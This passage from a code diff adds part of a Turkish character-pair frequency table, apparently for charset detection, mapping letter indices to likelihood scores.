16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 43: { # 'Y' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 2, # 'N' + 42: 0, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 1, # 'Ü' + 59: 1, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 56: { # 'Z' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 2, # 'Z' + 1: 2, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 1, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 1: { # 'a' + 23: 3, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 2, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 1, # 'î' + 34: 1, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 21: { # 'b' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 3, # 'g' + 25: 1, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 1, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 2, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 28: { # 'c' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 2, # 'E' + 52: 0, # 'F' + 36: 2, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 2, # 'T' + 51: 2, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 3, # 'Y' + 56: 0, # 'Z' + 1: 1, # 'a' + 21: 1, # 'b' + 28: 2, # 'c' + 12: 2, # 'd' + 2: 1, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 1, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 1, # 'î' + 34: 2, # 'ö' + 17: 2, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 2, # 'ş' + }, + 12: { # 'd' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 2: { # 'e' + 23: 2, # 'A' + 37: 0, # 'B' + 47: 2, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 18: { # 'f' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 1, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 1, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 27: { # 'g' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 2, # 'r' + 8: 2, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 25: { # 'h' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 3: { # 'i' + 23: 2, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 1, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 3, # 'g' + 25: 1, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 1, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 24: { # 'j' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 2, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 10: { # 'k' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 2, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 3, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 5: { # 'l' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 1, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 1, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 2, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 13: { # 'm' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 2, # 'u' + 32: 2, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 4: { # 'n' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 3, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 2, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 15: { # 'o' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 2, # 'L' + 20: 0, # 'M' + 46: 2, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 2, # 'ğ' + 41: 2, # 'İ' + 6: 3, # 'ı' + 40: 2, # 'Ş' + 19: 2, # 'ş' + }, + 26: { # 'p' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 2, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 7: { # 'r' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, 